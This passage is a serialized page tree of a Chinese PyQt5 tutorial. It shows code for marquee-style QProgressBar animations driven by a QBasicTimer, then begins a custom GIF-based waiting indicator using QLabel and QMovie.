\n",{"type":18,"tag":297,"props":44764,"children":44765},{"class":299,"line":826},[44766],{"type":18,"tag":297,"props":44767,"children":44768},{},[44769],{"type":24,"value":42161},{"type":18,"tag":297,"props":44771,"children":44772},{"class":299,"line":4524},[44773],{"type":18,"tag":297,"props":44774,"children":44775},{},[44776],{"type":24,"value":42169},{"type":18,"tag":297,"props":44778,"children":44779},{"class":299,"line":4533},[44780],{"type":18,"tag":297,"props":44781,"children":44782},{},[44783],{"type":24,"value":44784},"        self.progressBar = QtWidgets.QProgressBar(self.centralwidget)  \n",{"type":18,"tag":297,"props":44786,"children":44787},{"class":299,"line":4546},[44788],{"type":18,"tag":297,"props":44789,"children":44790},{},[44791],{"type":24,"value":44792},"        self.progressBar.setGeometry(QtCore.QRect(50, 10, 201, 31))  \n",{"type":18,"tag":297,"props":44794,"children":44795},{"class":299,"line":4555},[44796],{"type":18,"tag":297,"props":44797,"children":44798},{},[44799],{"type":24,"value":44800},"        self.progressBar.setLayoutDirection(QtCore.Qt.LeftToRight)  \n",{"type":18,"tag":297,"props":44802,"children":44803},{"class":299,"line":4568},[44804],{"type":18,"tag":297,"props":44805,"children":44806},{},[44807],{"type":24,"value":44808},"        self.progressBar.setProperty(\"value\", -1)  \n",{"type":18,"tag":297,"props":44810,"children":44811},{"class":299,"line":4577},[44812],{"type":18,"tag":297,"props":44813,"children":44814},{},[44815],{"type":24,"value":44816},"        self.progressBar.setAlignment(QtCore.Qt.AlignHCenter|QtCore.Qt.AlignTop)  \n",{"type":18,"tag":297,"props":44818,"children":44819},{"class":299,"line":4590},[44820],{"type":18,"tag":297,"props":44821,"children":44822},{},[44823],{"type":24,"value":44824},"        self.progressBar.setTextVisible(True)  \n",{"type":18,"tag":297,"props":44826,"children":44827},{"class":299,"line":4599},[44828],{"type":18,"tag":297,"props":44829,"children":44830},{},[44831],{"type":24,"value":44832},"        self.progressBar.setOrientation(QtCore.Qt.Horizontal)  \n",{"type":18,"tag":297,"props":44834,"children":44835},{"class":299,"line":4607},[44836],{"type":18,"tag":297,"props":44837,"children":44838},{},[44839],{"type":24,"value":44840},"        self.progressBar.setTextDirection(QtWidgets.QProgressBar.TopToBottom)  \n",{"type":18,"tag":297,"props":44842,"children":44843},{"class":299,"line":4616},[44844],{"type":18,"tag":297,"props":44845,"children":44846},{},[44847],{"type":24,"value":44848},"        self.progressBar.setFormat(\"\")  \n",{"type":18,"tag":297,"props":44850,"children":44851},{"class":299,"line":4624},[44852],{"type":18,"tag":297,"props":44853,"children":44854},{},[44855],{"type":24,"value":44856},"        self.progressBar.setObjectName(\"progressBar\")  \n",{"type":18,"tag":297,"props":44858,"children":44859},{"class":299,"line":4633},[44860],{"type":18,"tag":297,"props":44861,"children":44862},{},[44863],{"type":24,"value":44864},"        self.progressBar_2 = QtWidgets.QProgressBar(self.centralwidget)  \n",{"type":18,"tag":297,"props":44866,"children":44867},{"class":299,"line":4641},[44868],{"type":18,"tag":297,"props":44869,"children":44870},{},[44871],{"type":24,"value":44872},"        self.progressBar_2.setGeometry(QtCore.QRect(50, 180, 201, 31))  \n",{"type":18,"tag":297,"props":44874,"children":44875},{"class":299,"line":4650},[44876],{"type":18,"tag":297,"props":44877,"children":44878},{},[44879],{"type":24,"value":44880},"        self.progressBar_2.setLayoutDirection(QtCore.Qt.RightToLeft)  \n",{"type":18,"tag":297,"props":44882,"children":44883},{"class":299,"line":4658},[44884],{"type":18,"tag":297,"props":44885,"children":44886},{},[44887],{"type":24,"value":44888},"        self.progressBar_2.setProperty(\"value\", -1)  \n",{"type":18,"tag":297,"props":44890,"children":44891},{"class":299,"line":4681},[44892],{"type":18,"tag":297,"props":44893,"children":44894},{},[44895],{"type":24,"value":44896},"        self.progressBar_2.setAlignment(QtCore.Qt.AlignBottom|QtCore.Qt.AlignHCenter)  \n",{"type":18,"tag":297,"props":44898,"children":44899},{"class":299,"line":4703},[44900],{"type":18,"tag":297,"props":44901,"children":44902},{},[44903],{"type":24,"value":44904},"        self.progressBar_2.setTextVisible(True)  \n",{"type":18,"tag":297,"props":44906,"children":44907},{"class":299,"line":4711},[44908],{"type":18,"tag":297,"props":44909,"children":44910},{},[44911],{"type":24,"value":44912},"        self.progressBar_2.setOrientation(QtCore.Qt.Horizontal)  \n",{"type":18,"tag":297,"props":44914,"children":44915},{"class":299,"line":4720},[44916],{"type":18,"tag":297,"props":44917,"children":44918},{},[44919],{"type":24,"value":44920},"        self.progressBar_2.setTextDirection(QtWidgets.QProgressBar.TopToBottom)  \n",{"type":18,"tag":297,"props":44922,"children":44923},{"class":299,"line":4728},[44924],{"type":18,"tag":297,"props":44925,"children":44926},{},[44927],{"type":24,"value":44928},"        self.progressBar_2.setObjectName(\"progressBar_2\")  \n",{"type":18,"tag":297,"props":44930,"children":44931},{"class":299,"line":13515},[44932],{"type":18,"tag":297,"props":44933,"children":44934},{},[44935],{"type":24,"value":44936},"        self.progressBar_3 = QtWidgets.QProgressBar(self.centralwidget)  \n",{"type":18,"tag":297,"props":44938,"children":44939},{"class":299,"line":13553},[44940],{"type":18,"tag":297,"props":44941,"children":44942},{},[44943],{"type":24,"value":44944},"        self.progressBar_3.setGeometry(QtCore.QRect(20, 10, 31, 201))  \n",{"type":18,"tag":297,"props":44946,"children":44947},{"class":299,"line":13591},[44948],{"type":18,"tag":297,"props":44949,"children":44950},{},[44951],{"type":24,"value":44952},"        self.progressBar_3.setLayoutDirection(QtCore.Qt.LeftToRight)  \n",{"type":18,"tag":297,"props":44954,"children":44955},{"class":299,"line":13624},[44956],{"type":18,"tag":297,"props":44957,"children":44958},{},[44959],{"type":24,"value":44960},"        self.progressBar_3.setProperty(\"value\", -1)  \n",{"type":18,"tag":297,"props":44962,"children":44963},{"class":299,"line":13632},[44964],{"type":18,"tag":297,"props":44965,"children":44966},{},[44967],{"type":24,"value":44968},"        self.progressBar_3.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignTop)  \n",{"type":18,"tag":297,"props":44970,"children":44971},{"class":299,"line":13641},[44972],{"type":18,"tag":297,"props":44973,"children":44974},{},[44975],{"type":24,"value":44976},"        self.progressBar_3.setTextVisible(True)  \n",{"type":18,"tag":297,"props":44978,"children":44979},{"class":299,"line":13724},[44980],{"type":18,"tag":297,"props":44981,"children":44982},{},[44983],{"type":24,"value":44984},"        self.progressBar_3.setOrientation(QtCore.Qt.Vertical)  \n",{"type":18,"tag":297,"props":44986,"children":44987},{"class":299,"line":13732},[44988],{"type":18,"tag":297,"props":44989,"children":44990},{},[44991],{"type":24,"value":44992},"        self.progressBar_3.setTextDirection(QtWidgets.QProgressBar.TopToBottom)  \n",{"type":18,"tag":297,"props":44994,"children":44995},{"class":299,"line":13786},[44996],{"type":18,"tag":297,"props":44997,"children":44998},{},[44999],{"type":24,"value":45000},"        self.progressBar_3.setObjectName(\"progressBar_3\")  \n",{"type":18,"tag":297,"props":45002,"children":45003},{"class":299,"line":13794},[45004],{"type":18,"tag":297,"props":45005,"children":45006},{},[45007],{"type":24,"value":45008},"        self.progressBar_1 = QtWidgets.QProgressBar(self.centralwidget)  \n",{"type":18,"tag":297,"props":45010,"children":45011},{"class":299,"line":13803},[45012],{"type":18,"tag":297,"props":45013,"children":45014},{},[45015],{"type":24,"value":45016},"        self.progressBar_1.setGeometry(QtCore.QRect(250, 10, 31, 201))  \n",{"type":18,"tag":297,"props":45018,"children":45019},{"class":299,"line":13845},[45020],{"type":18,"tag":297,"props":45021,"children":45022},{},[45023],{"type":24,"value":45024},"        self.progressBar_1.setLayoutDirection(QtCore.Qt.LeftToRight)  \n",{"type":18,"tag":297,"props":45026,"children":45027},{"class":299,"line":13887},[45028],{"type":18,"tag":297,"props":45029,"children":45030},{},[45031],{"type":24,"value":45032},"        self.progressBar_1.setProperty(\"value\", -1)  \n",{"type":18,"tag":297,"props":45034,"children":45035},{"class":299,"line":13927},[45036],{"type":18,"tag":297,"props":45037,"children":45038},{},[45039],{"type":24,"value":45040},"        self.progressBar_1.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignTop)  \n",{"type":18,"tag":297,"props":45042,"children":45043},{"class":299,"line":13943},[45044],{"type":18,"tag":297,"props":45045,"children":45046},{},[45047],{"type":24,"value":45048},"        self.progressBar_1.setTextVisible(True)  \n",{"type":18,"tag":297,"props":45050,"children":45051},{"class":299,"line":15315},[45052],{"type":18,"tag":297,"props":45053,"children":45054},{},[45055],{"type":24,"value":45056},"        self.progressBar_1.setOrientation(QtCore.Qt.Vertical)  \n",{"type":18,"tag":297,"props":45058,"children":45059},{"class":299,"line":15331},[45060],{"type":18,"tag":297,"props":45061,"children":45062},{},[45063],{"type":24,"value":45064},"        self.progressBar_1.setTextDirection(QtWidgets.QProgressBar.TopToBottom)  \n",{"type":18,"tag":297,"props":45066,"children":45067},{"class":299,"line":15347},[45068],{"type":18,"tag":297,"props":45069,"children":45070},{},[45071],{"type":24,"value":45072},"        self.progressBar_1.setObjectName(\"progressBar_1\")  \n",{"type":18,"tag":297,"props":45074,"children":45075},{"class":299,"line":42458},[45076],{"type":18,"tag":297,"props":45077,"children":45078},{},[45079],{"type":24,"value":45080},"        self.pushButton = QtWidgets.QPushButton(self.centralwidget)  \n",{"type":18,"tag":297,"props":45082,"children":45083},{"class":299,"line":42467},[45084],{"type":18,"tag":297,"props":45085,"children":45086},{},[45087],{"type":24,"value":45088},"        self.pushButton.setGeometry(QtCore.QRect(90, 220, 101, 31))  \n",{"type":18,"tag":297,"props":45090,"children":45091},{"class":299,"line":42476},[45092],{"type":18,"tag":297,"props":45093,"children":45094},{},[45095],{"type":24,"value":45096},"        self.pushButton.setObjectName(\"pushButton\")  \n",{"type":18,"tag":297,"props":45098,"children":45099},{"class":299,"line":42954},[45100],{"type":18,"tag":297,"props":45101,"children":45102},{},[45103],{"type":24,"value":42337},{"type":18,"tag":297,"props":45105,"children":45106},{"class":299,"line":42963},[45107],{"type":18,"tag":297,"props":45108,"children":45109},{},[45110],{"type":24,"value":42345},{"type":18,"tag":297,"props":45112,"children":45113},{"class":299,"line":42972},[45114],{"type":18,"tag":297,"props":45115,"children":45116},{},[45117],{"type":24,"value":42353},{"type":18,"tag":297,"props":45119,"children":45121},{"class":299,"line":45120},52,[45122],{"type":18,"tag":297,"props":45123,"children":45124},{},[45125],{"type":24,"value":45126},"        self.timer = QtCore.QBasicTimer()             # 创建计时器对象  \n",{"type":18,"tag":297,"props":45128,"children":45130},{"class":299,"line":45129},53,[45131],{"type":18,"tag":297,"props":45132,"children":45133},{},[45134],{"type":24,"value":45135},"        # 为按钮绑定单击信号  \n",{"type":18,"tag":297,"props":45137,"children":45139},{"class":299,"line":45138},54,[45140],{"type":18,"tag":297,"props":45141,"children":45142},{},[45143],{"type":24,"value":45144},"        self.pushButton.clicked.connect(self.running)  \n",{"type":18,"tag":297,"props":45146,"children":45148},{"class":299,"line":45147},55,[45149],{"type":18,"tag":297,"props":45150,"children":45151},{},[45152],{"type":24,"value":36783},{"type":18,"tag":297,"props":45154,"children":45156},{"class":299,"line":45155},56,[45157],{"type":18,"tag":297,"props":45158,"children":45159},{},[45160],{"type":24,"value":45161},"    # 控制进度条的滚动效果  \n",{"type":18,"tag":297,"props":45163,"children":45165},{"class":299,"line":45164},57,[45166],{"type":18,"tag":297,"props":45167,"children":45168},{},[45169],{"type":24,"value":45170},"    def running(self):  \n",{"type":18,"tag":297,"props":45172,"children":45174},{"class":299,"line":45173},58,[45175],{"type":18,"tag":297,"props":45176,"children":45177},{},[45178],{"type":24,"value":45179},"        if self.timer.isActive():                 # 判断计时器是否开启  \n",{"type":18,"tag":297,"props":45181,"children":45183},{"class":299,"line":45182},59,[45184],{"type":18,"tag":297,"props":45185,"children":45186},{},[45187],{"type":24,"value":45188},"            self.timer.stop()                     # 停止计时器  \n",{"type":18,"tag":297,"props":45190,"children":45192},{"class":299,"line":45191},60,[45193],{"type":18,"tag":297,"props":45194,"children":45195},{},[45196],{"type":24,"value":45197},"            self.pushButton.setText('开始')            # 设置按钮的文本  \n",{"type":18,"tag":297,"props":45199,"children":45201},{"class":299,"line":45200},61,[45202],{"type":18,"tag":297,"props":45203,"children":45204},{},[45205],{"type":24,"value":45206},"            # 设置4个进度条的最大值为100  \n",{"type":18,"tag":297,"props":45208,"children":45210},{"class":299,"line":45209},62,[45211],{"type":18,"tag":297,"props":45212,"children":45213},{},[45214],{"type":24,"value":45215},"            self.progressBar.setMaximum(100)  \n",{"type":18,"tag":297,"props":45217,"children":45219},{"class":299,"line":45218},63,[45220],{"type":18,"tag":297,"props":45221,"children":45222},{},[45223],{"type":24,"value":45224},"            self.progressBar_1.setMaximum(100)  \n",{"type":18,"tag":297,"props":45226,"children":45228},{"class":299,"line":45227},64,[45229],{"type":18,"tag":297,"props":45230,"children":45231},{},[45232],{"type":24,"value":45233},"            self.progressBar_2.setMaximum(100)  \n",{"type":18,"tag":297,"props":45235,"children":45237},{"class":299,"line":45236},65,[45238],{"type":18,"tag":297,"props":45239,"children":45240},{},[45241],{"type":24,"value":45242},"            self.progressBar_3.setMaximum(100)  \n",{"type":18,"tag":297,"props":45244,"children":45246},{"class":299,"line":45245},66,[45247],{"type":18,"tag":297,"props":45248,"children":45249},{},[45250],{"type":24,"value":45251},"        else:  \n",{"type":18,"tag":297,"props":45253,"children":45255},{"class":299,"line":45254},67,[45256],{"type":18,"tag":297,"props":45257,"children":45258},{},[45259],{"type":24,"value":45260},"            self.timer.start(100,MainWindow)             # 启动计时器  \n",{"type":18,"tag":297,"props":45262,"children":45264},{"class":299,"line":45263},68,[45265],{"type":18,"tag":297,"props":45266,"children":45267},{},[45268],{"type":24,"value":45269},"            self.pushButton.setText('停止')             # 设置按钮的文本  \n",{"type":18,"tag":297,"props":45271,"children":45273},{"class":299,"line":45272},69,[45274],{"type":18,"tag":297,"props":45275,"children":45276},{},[45277],{"type":24,"value":45278},"            # 将4个进度条的最大值和最小值都设置为0，以便显示循环滚动的效果  \n",{"type":18,"tag":297,"props":45280,"children":45282},{"class":299,"line":45281},70,[45283],{"type":18,"tag":297,"props":45284,"children":45285},{},[45286],{"type":24,"value":45287},"            self.progressBar.setMinimum(0)  \n",{"type":18,"tag":297,"props":45289,"children":45291},{"class":299,"line":45290},71,[45292],{"type":18,"tag":297,"props":45293,"children":45294},{},[45295],{"type":24,"value":45296},"            self.progressBar.setMaximum(0)  \n",{"type":18,"tag":297,"props":45298,"children":45300},{"class":299,"line":45299},72,[45301],{"type":18,"tag":297,"props":45302,"children":45303},{},[45304],{"type":24,"value":45305},"            self.progressBar_1.setInvertedAppearance(True)     # 设置进度反方向显示  \n",{"type":18,"tag":297,"props":45307,"children":45309},{"class":299,"line":45308},73,[45310],{"type":18,"tag":297,"props":45311,"children":45312},{},[45313],{"type":24,"value":45314},"            self.progressBar_1.setMinimum(0)  \n",{"type":18,"tag":297,"props":45316,"children":45318},{"class":299,"line":45317},74,[45319],{"type":18,"tag":297,"props":45320,"children":45321},{},[45322],{"type":24,"value":45323},"            self.progressBar_1.setMaximum(0)  \n",{"type":18,"tag":297,"props":45325,"children":45327},{"class":299,"line":45326},75,[45328],{"type":18,"tag":297,"props":45329,"children":45330},{},[45331],{"type":24,"value":45332},"            self.progressBar_2.setMinimum(0)  \n",{"type":18,"tag":297,"props":45334,"children":45336},{"class":299,"line":45335},76,[45337],{"type":18,"tag":297,"props":45338,"children":45339},{},[45340],{"type":24,"value":45341},"            self.progressBar_2.setMaximum(0)  \n",{"type":18,"tag":297,"props":45343,"children":45345},{"class":299,"line":45344},77,[45346],{"type":18,"tag":297,"props":45347,"children":45348},{},[45349],{"type":24,"value":45350},"            self.progressBar_3.setMinimum(0)  \n",{"type":18,"tag":297,"props":45352,"children":45354},{"class":299,"line":45353},78,[45355],{"type":18,"tag":297,"props":45356,"children":45357},{},[45358],{"type":24,"value":45359},"            self.progressBar_3.setMaximum(0)  \n",{"type":18,"tag":297,"props":45361,"children":45363},{"class":299,"line":45362},79,[45364],{"type":18,"tag":297,"props":45365,"children":45366},{},[45367],{"type":24,"value":36783},{"type":18,"tag":297,"props":45369,"children":45371},{"class":299,"line":45370},80,[45372],{"type":18,"tag":297,"props":45373,"children":45374},{},[45375],{"type":24,"value":42384},{"type":18,"tag":297,"props":45377,"children":45379},{"class":299,"line":45378},81,[45380],{"type":18,"tag":297,"props":45381,"children":45382},{},[45383],{"type":24,"value":42392},{"type":18,"tag":297,"props":45385,"children":45387},{"class":299,"line":45386},82,[45388],{"type":18,"tag":297,"props":45389,"children":45390},{},[45391],{"type":24,"value":45392},"        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"跑马灯效果\"))  \n",{"type":18,"tag":297,"props":45394,"children":45396},{"class":299,"line":45395},83,[45397],{"type":18,"tag":297,"props":45398,"children":45399},{},[45400],{"type":24,"value":45401},"        self.pushButton.setText(_translate(\"MainWindow\", \"开始\"))  \n",{"type":18,"tag":297,"props":45403,"children":45405},{"class":299,"line":45404},84,[45406],{"type":18,"tag":297,"props":45407,"children":45408},{},[45409],{"type":24,"value":36783},{"type":18,"tag":297,"props":45411,"children":45413},{"class":299,"line":45412},85,[45414],{"type":18,"tag":297,"props":45415,"children":45416},{},[45417],{"type":24,"value":42415},{"type":18,"tag":297,"props":45419,"children":45421},{"class":299,"line":45420},86,[45422],{"type":18,"tag":297,"props":45423,"children":45424},{},[45425],{"type":24,"value":42423},{"type":18,"tag":297,"props":45427,"children":45429},{"class":299,"line":45428},87,[45430],{"type":18,"tag":297,"props":45431,"children":45432},{},[45433],{"type":24,"value":42431},{"type":18,"tag":297,"props":45435,"children":45437},{"class":299,"line":45436},88,[45438],{"type":18,"tag":297,"props":45439,"children":45440},{},[45441],{"type":24,"value":42439},{"type":18,"tag":297,"props":45443,"children":45445},{"class":299,"line":45444},89,[45446],{"type":18,"tag":297,"props":45447,"children":45448},{},[45449],{"type":24,"value":45450},"   MainWindow = QtWidgets.QMainWindow() # 创建窗体对象  \n",{"type":18,"tag":297,"props":45452,"children":45454},{"class":299,"line":45453},90,[45455],{"type":18,"tag":297,"props":45456,"children":45457},{},[45458],{"type":24,"value":45459},"   ui = Ui_MainWindow()           # 创建PyQt设计的窗体对象  \n",{"type":18,"tag":297,"props":45461,"children":45463},{"class":299,"line":45462},91,[45464],{"type":18,"tag":297,"props":45465,"children":45466},{},[45467],{"type":24,"value":45468},"   ui.setupUi(MainWindow)           # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n",{"type":18,"tag":297,"props":45470,"children":45472},{"class":299,"line":45471},92,[45473],{"type":18,"tag":297,"props":45474,"children":45475},{},[45476],{"type":24,"value":45477},"   MainWindow.show()               # 显示窗体  \n",{"type":18,"tag":297,"props":45479,"children":45481},{"class":299,"line":45480},93,[45482],{"type":18,"tag":297,"props":45483,"children":45484},{},[45485],{"type":24,"value":45486},"   sys.exit(app.exec_())           # 程序关闭时退出进程\n",{"type":18,"tag":96,"props":45488,"children":45489},{},[45490],{"type":18,"tag":34,"props":45491,"children":45492},{},[45493,45497,45499,45505,45507,45513,45515,45520,45522,45528,45530,45536,45538,45543],{"type":18,"tag":105,"props":45494,"children":45495},{},[45496],{"type":24,"value":44648},{"type":24,"value":45498}," 多学两招\n上面代码中用到了",{"type":18,"tag":74,"props":45500,"children":45502},{"className":45501},[],[45503],{"type":24,"value":45504},"QBasicTimer",{"type":24,"value":45506},"类，该类是",{"type":18,"tag":74,"props":45508,"children":45510},{"className":45509},[],[45511],{"type":24,"value":45512},"QtCore",{"type":24,"value":45514},"模块中包含的一个类，主要用来为对象提供定时器事件。",{"type":18,"tag":74,"props":45516,"children":45518},{"className":45517},[],[45519],{"type":24,"value":45504},{"type":24,"value":45521},"定时器是一个重复的定时器，除非调用",{"type":18,"tag":74,"props":45523,"children":45525},{"className":45524},[],[45526],{"type":24,"value":45527},"stop()方法",{"type":24,"value":45529},"，否则它将发送后续的定时器事件。启动定时器使用",{"type":18,"tag":74,"props":45531,"children":45533},{"className":45532},[],[45534],{"type":24,"value":45535},"start()方法",{"type":24,"value":45537},"，该方法有两个参数，分别为超时时间（毫秒）和接收事件的对象；而停止定时器时使用",{"type":18,"tag":74,"props":45539,"children":45541},{"className":45540},[],[45542],{"type":24,"value":45527},{"type":24,"value":33621},{"type":18,"tag":34,"props":45545,"children":45546},{},[45547],{"type":24,"value":45548},"运行程序，初始效果如图所示;",{"type":18,"tag":34,"props":45550,"children":45551},{},[45552],{"type":18,"tag":54,"props":45553,"children":45556},{"alt":45554,"src":45555},"Pasted image 20250901210316","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901210316.png",[],{"type":18,"tag":34,"props":45558,"children":45559},{},[45560,45562,45568,45570,45576,45578,45583],{"type":24,"value":45561},"单击",{"type":18,"tag":74,"props":45563,"children":45565},{"className":45564},[],[45566],{"type":24,"value":45567},"开始",{"type":24,"value":45569},"按钮，启动跑马灯效果，并且按钮的文本变为",{"type":18,"tag":74,"props":45571,"children":45573},{"className":45572},[],[45574],{"type":24,"value":45575},"停止",{"type":24,"value":45577},"，如图所示，单击",{"type":18,"tag":74,"props":45579,"children":45581},{"className":45580},[],[45582],{"type":24,"value":45575},{"type":24,"value":45584},"按钮，即可恢复如上图所示的默认效果。",{"type":18,"tag":34,"props":45586,"children":45587},{},[45588],{"type":18,"tag":54,"props":45589,"children":45592},{"alt":45590,"src":45591},"Pasted image 20250901210423","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901210423.png",[],{"type":18,"tag":19,"props":45594,"children":45596},{"id":45595},"_2自定义等待提示框",[45597],{"type":24,"value":45598},"2  自定义等待提示框",{"type":18,"tag":121,"props":45600,"children":45601},{},[],{"type":18,"tag":34,"props":45603,"children":45604},{},[45605,45607,45612,45614,45619],{"type":24,"value":45606},"在使用PyQt5创建桌面窗口应用程序时，有时会遇到等待长任务执行的情况，PyQt5中提供的",{"type":18,"tag":74,"props":45608,"children":45610},{"className":45609},[],[45611],{"type":24,"value":44182},{"type":24,"value":45613},"控件（即",{"type":18,"tag":74,"props":45615,"children":45617},{"className":45616},[],[45618],{"type":24,"value":44224},{"type":24,"value":45620},"对象）虽然也可以通过循环滚动的方式等待任务执行完成，但与通常见到的类似图所示的等待提示框相比，在美观程度上有所欠缺，因此本节将介绍如何在PyQt5中自定义等待提示。",{"type":18,"tag":34,"props":45622,"children":45623},{},[45624],{"type":18,"tag":54,"props":45625,"children":45628},{"alt":45626,"src":45627},"Pasted image 20250901210612","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901210612.png",[],{"type":18,"tag":34,"props":45630,"children":45631},{},[45632],{"type":18,"tag":105,"props":45633,"children":45634},{},[45635],{"type":24,"value":45636},"实例 设置自定义等待提示框",{"type":18,"tag":34,"props":45638,"children":45639},{},[45640,45642,45648,45650,45655,45657,45663,45665,45670],{"type":24,"value":45641},"使用PyQt5实现等待提示框时，可以通过加载GIF图片的方式模拟等待提示框，首先在创建主窗口时，在窗口的中间位置添加一个可以加载GIF图片的",{"type":18,"tag":74,"props":45643,"children":45645},{"className":45644},[],[45646],{"type":24,"value":45647},"Label",{"type":24,"value":45649},"控件，然后再添加两个",{"type":18,"tag":74,"props":45651,"children":45653},{"className":45652},[],[45654],{"type":24,"value":44683},{"type":24,"value":45656},"按钮，分别用于控制等待提示框的",{"type":18,"tag":74,"props":45658,"children":45660},{"className":45659},[],[45661],{"type":24,"value":45662},"启动",{"type":24,"value":45664},"与",{"type":18,"tag":74,"props":45666,"children":45668},{"className":45667},[],[45669],{"type":24,"value":45575},{"type":24,"value":45671},"。代码如下：",{"type":18,"tag":287,"props":45673,"children":45675},{"className":28710,"code":45674,"language":28712,"meta":8,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \n  \n  \nclass Ui_MainWindow(object):  \n  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(682, 583)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        # 创建主布局  \n        self.main_layout = QtWidgets.QVBoxLayout(self.centralwidget)  \n        self.loading = QtWidgets.QLabel(self.centralwidget)  \n        self.loading.setStyleSheet(\"\")  \n        self.loading.setText(\"\")  \n        self.loading.setObjectName(\"loading\")  \n        # 设置GIF居中显示  \n        self.loading.setAlignment(QtCore.Qt.AlignCenter)  \n        # 添加到布局  \n        self.main_layout.addWidget(self.loading)  \n        # 创建按钮布局  \n        self.button_layout = QtWidgets.QHBoxLayout()  \n        self.pushButton_start = QtWidgets.QPushButton(self.centralwidget)  \n        self.pushButton_start.setMinimumSize(QtCore.QSize(100, 50))  \n        self.pushButton_start.setObjectName(\"pushButton_start\")  \n        self.button_layout.addWidget(self.pushButton_start)  \n        # 添加伸缩项，让两个按钮分开  \n        self.button_layout.addStretch()  \n        self.pushButton_stop = QtWidgets.QPushButton(self.centralwidget)  \n        self.pushButton_stop.setMinimumSize(QtCore.QSize(100, 50))  \n        self.pushButton_stop.setObjectName(\"pushButton_stop\")  \n        self.button_layout.addWidget(self.pushButton_stop)  \n        # 将按钮布局添加到主布局  \n        self.main_layout.addLayout(self.button_layout)  \n        # 设置按钮区域的最小高度  \n        self.main_layout.setStretch(0, 3)  # GIF区域占3份高度  \n        self.main_layout.setStretch(1, 1)  # 按钮区域占1份高度  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n        self.pushButton_start.clicked.connect(self.start_loading)  \n        self.pushButton_stop.clicked.connect(self.stop_loading)  \n  \n    def start_loading(self):  \n        self.gif = QtGui.QMovie('loading.gif')  \n        # 设置GIF缩放模式，保持比例适应标签大小  \n        self.loading.setScaledContents(True)  \n        self.loading.setMovie(self.gif)  \n        self.gif.start()  \n  \n    def stop_loading(self):  \n        if hasattr(self, 'gif'):  # 避免未启动时点击停止报错  \n            self.gif.stop()  \n            self.loading.clear()  \n            self.loading.setScaledContents(False)  # 恢复默认状态  \n  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"加载动画演示\"))  \n        self.pushButton_start.setText(_translate(\"MainWindow\", \"启动等待提示\"))  \n        self.pushButton_stop.setText(_translate(\"MainWindow\", \"停止等待提示\"))  \n  \n  \nimport sys  \n  \nif __name__ == '__main__':  \n    app = QtWidgets.QApplication(sys.argv)  \n    MainWindow = QtWidgets.QMainWindow()  \n    ui = Ui_MainWindow()  \n    ui.setupUi(MainWindow)  \n    MainWindow.show()  \n    sys.exit(app.exec_())\n",[45676],{"type":18,"tag":74,"props":45677,"children":45678},{"__ignoreMap":8},[45679,45686,45693,45700,45707,45714,45721,45728,45736,45743,45750,45758,45766,45774,45782,45790,45798,45806,45814,45822,45830,45838,45846,45854,45862,45870,45878,45886,45894,45902,45910,45918,45926,45934,45942,45950,45958,45966,45973,45980,45987,45995,46003,46010,46018,46026,46034,46042,46050,46058,46065,46073,46081,46089,46097,46105,46112,46119,46126,46134,46142,46150,46157,46164,46171,46178,46185,46192,46200,46208,46216,46224],{"type":18,"tag":297,"props":45680,"children":45681},{"class":299,"line":300},[45682],{"type":18,"tag":297,"props":45683,"children":45684},{},[45685],{"type":24,"value":42107},{"type":18,"tag":297,"props":45687,"children":45688},{"class":299,"line":657},[45689],{"type":18,"tag":297,"props":45690,"children":45691},{},[45692],{"type":24,"value":36783},{"type":18,"tag":297,"props":45694,"children":45695},{"class":299,"line":662},[45696],{"type":18,"tag":297,"props":45697,"children":45698},{},[45699],{"type":24,"value":36783},{"type":18,"tag":297,"props":45701,"children":45702},{"class":299,"line":799},[45703],{"type":18,"tag":297,"props":45704,"children":45705},{},[45706],{"type":24,"value":42122},{"type":18,"tag":297,"props":45708,"children":45709},{"class":299,"line":808},[45710],{"type":18,"tag":297,"props":45711,"children":45712},{},[45713],{"type":24,"value":36783},{"type":18,"tag":297,"props":45715,"children":45716},{"class":299,"line":817},[45717],{"type":18,"tag":297,"props":45718,"children":45719},{},[45720],{"type":24,"value":42137},{"type":18,"tag":297,"props":45722,"children":45723},{"class":299,"line":826},[45724],{"type":18,"tag":297,"props":45725,"children":45726},{},[45727],{"type":24,"value":42145},{"type":18,"tag":297,"props":45729,"children":45730},{"class":299,"line":4524},[45731],{"type":18,"tag":297,"props":45732,"children":45733},{},[45734],{"type":24,"value":45735},"        MainWindow.resize(682, 583)  \n",{"type":18,"tag":297,"props":45737,"children":45738},{"class":299,"line":4533},[45739],{"type":18,"tag":297,"props":45740,"children":45741},{},[45742],{"type":24,"value":42161},{"type":18,"tag":297,"props":45744,"children":45745},{"class":299,"line":4546},[45746],{"type":18,"tag":297,"props":45747,"children":45748},{},[45749],{"type":24,"value":42169},{"type":18,"tag":297,"props":45751,"children":45752},{"class":299,"line":4555},[45753],{"type":18,"tag":297,"props":45754,"children":45755},{},[45756],{"type":24,"value":45757},"        # 创建主布局  \n",{"type":18,"tag":297,"props":45759,"children":45760},{"class":299,"line":4568},[45761],{"type":18,"tag":297,"props":45762,"children":45763},{},[45764],{"type":24,"value":45765},"        self.main_layout = QtWidgets.QVBoxLayout(self.centralwidget)  \n",{"type":18,"tag":297,"props":45767,"children":45768},{"class":299,"line":4577},[45769],{"type":18,"tag":297,"props":45770,"children":45771},{},[45772],{"type":24,"value":45773},"        self.loading = QtWidgets.QLabel(self.centralwidget)  \n",{"type":18,"tag":297,"props":45775,"children":45776},{"class":299,"line":4590},[45777],{"type":18,"tag":297,"props":45778,"children":45779},{},[45780],{"type":24,"value":45781},"        